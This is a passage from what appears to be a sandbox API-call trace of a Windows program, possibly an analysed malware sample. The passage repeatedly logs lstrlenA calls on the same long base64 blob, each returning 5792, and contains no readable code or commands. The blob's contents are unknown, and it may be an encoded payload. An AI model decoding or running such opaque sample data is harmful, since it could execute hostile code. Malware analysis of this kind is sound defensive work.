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") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6Od